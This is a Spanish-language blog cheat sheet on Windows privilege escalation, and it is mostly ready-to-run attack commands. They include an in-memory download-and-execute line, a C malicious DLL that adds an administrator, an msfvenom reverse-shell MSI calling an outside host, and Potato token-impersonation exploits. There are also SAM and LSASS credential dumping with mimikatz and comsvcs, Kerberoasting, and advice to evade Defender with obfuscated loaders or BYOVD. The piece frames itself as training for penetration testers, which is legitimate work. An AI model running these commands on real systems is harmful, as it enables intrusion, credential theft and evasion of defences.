La escalada de privilegios en Windows es una de las habilidades más críticas en seguridad ofensiva. Llegas a un servidor como usuario de bajo privilegio, y tu trabajo no está hecho hasta que tienes SYSTEM. Esta cheat sheet cubre cada técnica que realmente funciona en 2026 — con comandos reales, las herramientas correctas, y notas sobre qué versiones de Windows aplican a cada técnica.

Guárdala en favoritos. La vas a usar.


Por Qué la PrivEsc en Windows es Diferente a la de Linux

La escalada de privilegios en Linux tiene patrones: binarios SUID, configuraciones incorrectas de sudo, cron jobs escribibles, exploits de kernel. Limpio y predecible.

Windows es más complicado. La superficie de ataque es enorme — servicios, tokens, registro, objetos COM, tareas programadas, Active Directory, almacenes de credenciales. Windows también tiene un sistema de tokens de privilegios más rico, una arquitectura heredada con décadas de decisiones de compatibilidad con versiones anteriores, y entornos empresariales donde los administradores cometen errores a escala.

La ventaja: hay más caminos a SYSTEM en Windows. La desventaja: necesitas saber dónde buscar.


Paso Uno: Enumerar Todo

No adivines. Ejecuta primero tus herramientas de enumeración, lee la salida, luego elige tu ruta de ataque.

WinPEAS

El estándar de oro para enumeración automatizada de Windows.

# Descargar y ejecutar en memoria
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1')

# O ejecutar el .exe
.\winPEASx64.exe
.\winPEASx64.exe quiet

Descarga: https://github.com/peass-ng/PEASS-ng/releases

WinPEAS resalta los hallazgos en rojo/amarillo. Comienza por ahí.

Seatbelt

Enumeración enfocada en seguridad de GhostPack. Mejor para verificaciones específicas que para barridos amplios.

.\Seatbelt.exe -group=all
.\Seatbelt.exe TokenPrivileges
.\Seatbelt.exe CredGuard
.\Seatbelt.exe WindowsDefender

PowerUp

Script de privesc de PowerSploit. Enfocado en configuraciones incorrectas de servicios y configs.

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Comandos de Enumeración Manual

No dependas totalmente de las herramientas. Conoce el enfoque manual.

# Información del sistema
systeminfo
hostname
whoami /all
whoami /priv

# Red
ipconfig /all
netstat -ano
route print

# Usuarios y grupos
net user
net localgroup administrators
net localgroup

# Procesos y servicios en ejecución
tasklist /svc
sc query type= all state= all
wmic service list brief

# Software instalado
wmic product get name,version
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

# Tareas programadas
schtasks /query /fo LIST /v

# Variables de entorno
set

Configuraciones Incorrectas de Servicios

Los servicios que se ejecutan como SYSTEM son objetivos atractivos. Si puedes controlar lo que ejecuta un servicio, obtienes SYSTEM.

Rutas de Servicio sin Comillas

Cuando la ruta del binario de un servicio contiene espacios y no está entre comillas, Windows intenta múltiples ubicaciones antes de encontrar el binario real. Si puedes escribir en un directorio intermedio, ganaste.

Enumerar rutas sin comillas:

wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """

O con PowerUp:

Get-UnquotedService

Ruta vulnerable de ejemplo:

C:\Program Files\Vulnerable App\service.exe

Windows intentará:

  1. C:\Program.exe
  2. C:\Program Files\Vulnerable.exe
  3. C:\Program Files\Vulnerable App\service.exe

Si puedes escribir en C:\Program Files\, coloca un Vulnerable.exe ahí y reinicia el servicio.

sc stop VulnerableService
sc start VulnerableService

Permisos Débiles de Servicio

Si tienes permisos de escritura en el binario del servicio, reemplázalo. Si tienes permisos de SERVICE_CHANGE_CONFIG, reconfigúralo para ejecutar tu binario.

# Verificar permisos con PowerUp
Get-ModifiableServiceFile
Get-ModifiableService

# Verificación manual con accesschk (Sysinternals)
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk.exe /accepteula -uwcqv "Everyone" *

Si tienes SERVICE_CHANGE_CONFIG:

sc config VulnService binpath= "C:\Windows\Temp\shell.exe"
sc stop VulnService
sc start VulnService

O usa PowerUp:

Invoke-ServiceAbuse -Name VulnService -UserName attacker -Password Password123

DLL Hijacking en Servicios

Los servicios que cargan DLLs desde directorios escribibles son vulnerables. Si puedes plantar una DLL maliciosa antes de que se encuentre la legítima, el servicio carga la tuya.

Encontrar candidatos para DLL hijacking:

# Usa Process Monitor (Procmon) — filtra por "NAME NOT FOUND" en cargas DLL
# O usa PowerUp
Find-PathDLLHijack

Crear una DLL maliciosa:

// malicious.c — compilar como DLL
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    if (fdwReason == DLL_PROCESS_ATTACH) {
        system("cmd.exe /c net localgroup administrators attacker /add");
    }
    return TRUE;
}
# Compilar con mingw
x86_64-w64-mingw32-gcc -shared -o malicious.dll malicious.c

Planta la DLL y activa un reinicio del servicio.


Suplantación de Tokens y Ataques Potato

Los tokens de acceso de Windows representan el contexto de seguridad de un usuario. Si tienes ciertos privilegios de token, puedes suplantar a SYSTEM.

Los Privilegios Clave

SeImpersonatePrivilege       — Suplantar a un cliente tras autenticación
SeAssignPrimaryTokenPrivilege — Reemplazar un token a nivel de proceso
SeCreateTokenPrivilege       — Crear un token (raramente explotable directamente)

Verifica tus privilegios actuales:

whoami /priv

Estos privilegios los tienen comúnmente las cuentas de servicio — usuarios de IIS AppPool, cuentas de servicio de SQL Server, LocalService/NetworkService. Si comprometes uno, los ataques Potato generalmente son tu camino más rápido.

JuicyPotato

Funciona en Windows Server 2008 – 2019, Windows 7 – 10 (era pre-KB2999226 o donde DCOM es accesible).

.\JuicyPotato.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net localgroup administrators attacker /add" -t *

Puede que necesites especificar un CLSID para tu OS objetivo. Lista: https://github.com/ohpe/juicy-potato/tree/master/CLSID

PrintSpoofer

Objetivo: Windows 10, Server 2016/2019. Usa el truco de named pipe del Print Spooler.

.\PrintSpoofer.exe -i -c cmd
.\PrintSpoofer.exe -c "net localgroup administrators attacker /add"

GodPotato

El más utilizado actualmente para Windows Server 2012 – 2022, Windows 8 – 11. Compatibilidad más amplia que JuicyPotato o PrintSpoofer.

.\GodPotato.exe -cmd "net localgroup administrators attacker /add"
.\GodPotato.exe -cmd "cmd /c whoami > C:\Windows\Temp\whoami.txt"

Cuál Potato usar:

OS ObjetivoHerramienta
Server 2008 / Win 7JuicyPotato
Server 2016/2019, Win 10PrintSpoofer o GodPotato
Server 2019/2022, Win 10/11GodPotato

Ataques al Registro

El registro de Windows contiene configuraciones, credenciales y rutas de autorun. Múltiples vectores de privesc viven aquí.

AlwaysInstallElevated

Si ambas claves de registro están en 1, cualquier usuario puede instalar paquetes MSI con privilegios SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Si ambas retornan 0x1:

# Generar MSI malicioso en Kali
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.1 LPORT=4444 -f msi -o malicious.msi
# Instalar en el objetivo
msiexec /quiet /qn /i malicious.msi

PowerUp lo automatiza:

Write-UserAddMSI

Credenciales Almacenadas en el Registro

Las credenciales a veces se almacenan en texto plano o débilmente ofuscadas en el registro.

# Credenciales de autologon
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

# Sesiones guardadas de PuTTY
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s

# Contraseñas VNC (cifradas con DES, trivialmente descifradas)
reg query HKCU\Software\RealVNC\WinVNC4 /v Password

Rutas de Autorun

Los programas configurados para ejecutarse al inicio pueden ejecutarse desde ubicaciones escribibles.

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

Si la ruta apunta a un directorio escribible, reemplaza o planta un binario. Espera a que un usuario privilegiado inicie sesión, o fuerza un reinicio si puedes.


Tareas Programadas

El Programador de tareas ejecuta tareas en contextos de usuario, administrador o SYSTEM. Los binarios o directorios de tareas escribibles son explotables.

Encontrar Binarios de Tareas Escribibles

schtasks /query /fo LIST /v | findstr /i "task name\|run as user\|task to run"

Luego verifica los permisos del binario de cada tarea:

.\accesschk.exe /accepteula -qvw "C:\path\to\task\binary.exe"
icacls "C:\path\to\task\binary.exe"

Si tu usuario actual puede escribir, reemplázalo:

copy malicious.exe "C:\path\to\task\binary.exe"

Espera a que la tarea se dispare, o actívala manualmente:

schtasks /run /tn "VulnerableTask"

Minería de Contraseñas

Las credenciales están por todas partes en un servidor Windows si sabes dónde buscar.

Volcado de SAM + SYSTEM

La base de datos SAM almacena hashes de contraseñas de cuentas locales. Necesitas SYSTEM para leerla — pero si ya tienes SYSTEM (o una shell de admin), puedes extraerlos y crackearlos.

# Guardar los hives
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Volcar en Kali con impacket
secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

Bypass con Volume Shadow Copy (si SAM está bloqueado):

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Temp\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\SYSTEM

Volcado de LSASS

LSASS almacena credenciales en memoria — hashes NTLM, tickets Kerberos, a veces contraseñas en texto claro.

Mimikatz (clásico):

.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::wdigest
lsadump::sam

Volcado remoto de LSASS (sin tocar disco):

.\mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

Pypykatz (alternativa Python, ejecutar en Kali):

pypykatz lsa minidump lsass.dmp

Volcado con comsvcs.dll (vivir de la tierra):

$lsass = Get-Process lsass | Select-Object -ExpandProperty Id
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass C:\Temp\lsass.dmp full

Nota: Windows Defender detecta la mayoría de estos. Usa loaders ofuscados o técnicas BYOVD en entornos reforzados.

Administrador de Credenciales de Windows

Credenciales del navegador almacenadas, contraseñas de red, credenciales genéricas.

cmdkey /list

Extraer con Mimikatz:

vault::cred
vault::list

Historial de PowerShell

Los usuarios escriben credenciales en las terminales. El historial permanece en disco.

# Usuario actual
Get-Content (Get-PSReadLineOption).HistorySavePath

# Todos los usuarios (si eres admin)
Get-ChildItem C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

También verifica:

# Configuración IIS (puede contener credenciales de apps)
type C:\inetpub\wwwroot\web.config
findstr /si password C:\inetpub\*.config

# Ubicaciones comunes de credenciales
findstr /si password C:\Users\*.txt
findstr /si password C:\Users\*.xml
findstr /si password C:\Users\*.ini

Vista Previa de PrivEsc en Active Directory

Si la máquina está unida a un dominio, el admin local puede ser solo el comienzo. Algunos accesos rápidos para escalada de dominio:

AS-REP Roasting — las cuentas sin preautenticación Kerberos requerida son vulnerables al crackeo de contraseñas offline.

GetNPUsers.py DOMAIN/ -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt

Kerberoasting — cualquier usuario de dominio puede solicitar tickets de servicio para SPNs. Crackea el hash offline.

.\Rubeus.exe kerberoast /outfile:kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt

La cobertura completa de privesc en AD vendrá en un artículo dedicado — AS-REP, Kerberoasting, abuso de ACL, DCSync, tickets Golden/Silver y más.


Tabla de Referencia Rápida

TécnicaHerramientaComando ClaveFunciona En
Ruta de servicio sin comillasPowerUpGet-UnquotedServiceTodos
Permisos débiles de servicioaccesschk / PowerUpInvoke-ServiceAbuseTodos
DLL hijackingProcmon / PowerUpFind-PathDLLHijackTodos
AlwaysInstallElevatedPowerUp / msfvenomWrite-UserAddMSITodos
JuicyPotatoJuicyPotatoJuicyPotato.exe -l 1337 -t *Win 7 / Server 2008-2019
PrintSpooferPrintSpooferPrintSpoofer.exe -i -c cmdWin 10 / Server 2016-2019
GodPotatoGodPotatoGodPotato.exe -cmd "..."Win 8-11 / Server 2012-2022
Volcado SAMsecretsdump / Mimikatzsekurlsa::logonpasswordsTodos
Volcado LSASSMimikatz / comsvcs.dllrundll32 comsvcs.dll, MiniDumpTodos
Creds AutoLogonreg queryreg query WinlogonTodos
Historial PSPowerShellGet-PSReadLineOptionWin 10+/PS 5+
Secuestro de tarea programadaschtasks / accesschkschtasks /run /tn ...Todos
AS-REP RoastingImpacketGetNPUsers.pyUnido al dominio
KerberoastingRubeusRubeus.exe kerberoastUnido al dominio

Entorno de Práctica

La mejor manera de aprender esto no es leyendo — es haciendo.

VPS dedicado para tu propio laboratorio:

  • Vultr — Despliega una VM Windows Server por unos pocos dólares/hora. Levántala, configúrala mal intencionalmente, practica tus rutas de escalada, destrúyela cuando termines.
  • DigitalOcean — Droplets Windows limpios con precios predecibles. Bueno para entornos de laboratorio persistentes.

Plataformas CTF con contenido de Windows PrivEsc:

  • HackTheBoxBounty , Jeeves , Nest , Resolute son excelentes
  • TryHackMe — La sala Windows PrivEsc cubre la mayoría de estas técnicas en formato guiado

La diferencia entre alguien que lee esta cheat sheet y alguien que la usa es el tiempo práctico. Construye el laboratorio. Rómpelo repetidamente.


¿Necesitas Contenido de Red Team para tu Blog o Equipo de Seguridad?

CipherWrite entrega artículos de ciberseguridad escritos por red teamers en activo. Sin relleno — contenido técnico que realmente ayuda.

Ver paquetes de CipherWrite →